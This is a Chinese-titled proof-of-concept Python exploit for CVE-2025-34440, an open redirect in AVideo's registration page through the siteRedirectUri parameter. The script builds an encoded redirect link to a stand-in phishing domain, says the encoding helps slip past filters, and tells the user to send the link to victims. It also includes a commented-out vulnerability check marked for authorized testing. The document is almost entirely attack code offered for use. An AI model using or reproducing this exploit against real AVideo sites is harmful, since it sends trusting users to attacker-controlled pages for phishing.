CVE-2025-34440 AVideo siteRedirectUri参数开放重定向漏洞

import requests import urllib.parse # CVE-2025-34440 PoC - Open Redirect in AVideo siteRedirectUri parameter # Target: AVideo versions prior to 20.1 # Attack: Redirect users to external malicious site via registration def generate_evil_redirect_url(target_url, evil_domain): """ Generate malicious redirect URL Args: target_url: Target AVideo instance URL evil_domain: Attacker's controlled domain for redirect Returns: Malicious URL with siteRedirectUri parameter """ register_path = "/register" redirect_param = "siteRedirectUri" # Encode the evil URL to bypass basic filters encoded_redirect = urllib.parse.quote(evil_domain, safe='') # Construct the malicious URL malicious_url = f"{target_url.rstrip('/')}{register_path}?{redirect_param}={encoded_redirect}" return malicious_url def verify_open_redirect(target_url, evil_domain): """ Verify if the target is vulnerable to open redirect Args: target_url: Target AVideo instance URL evil_domain: Domain to test redirect Returns: True if vulnerable, False otherwise """ register_path = "/register" redirect_param = "siteRedirectUri" test_url = f"{target_url.rstrip('/')}{register_path}?{redirect_param}={evil_domain}" try: response = requests.get(test_url, allow_redirects=False, timeout=10) # Check if redirect occurs to external domain if response.status_code in [301, 302, 303, 307, 308]: location = response.headers.get('Location', '') if evil_domain in location or evil_domain in location.replace('http://', '').replace('https://', ''): return True return False except requests.RequestException as e: print(f"Error: {e}") return False if __name__ == "__main__": # Configuration target = "https://target-avideo-site.com" evil = "https://phishing.example.com" # Generate malicious URL malicious_url = generate_evil_redirect_url(target, evil) print(f"Malicious URL: {malicious_url}") print(f"\nSend this URL to victims to redirect them after registration") # Check vulnerability (for authorized testing only) # is_vulnerable = verify_open_redirect(target, evil) # print(f"Vulnerable: {is_vulnerable}")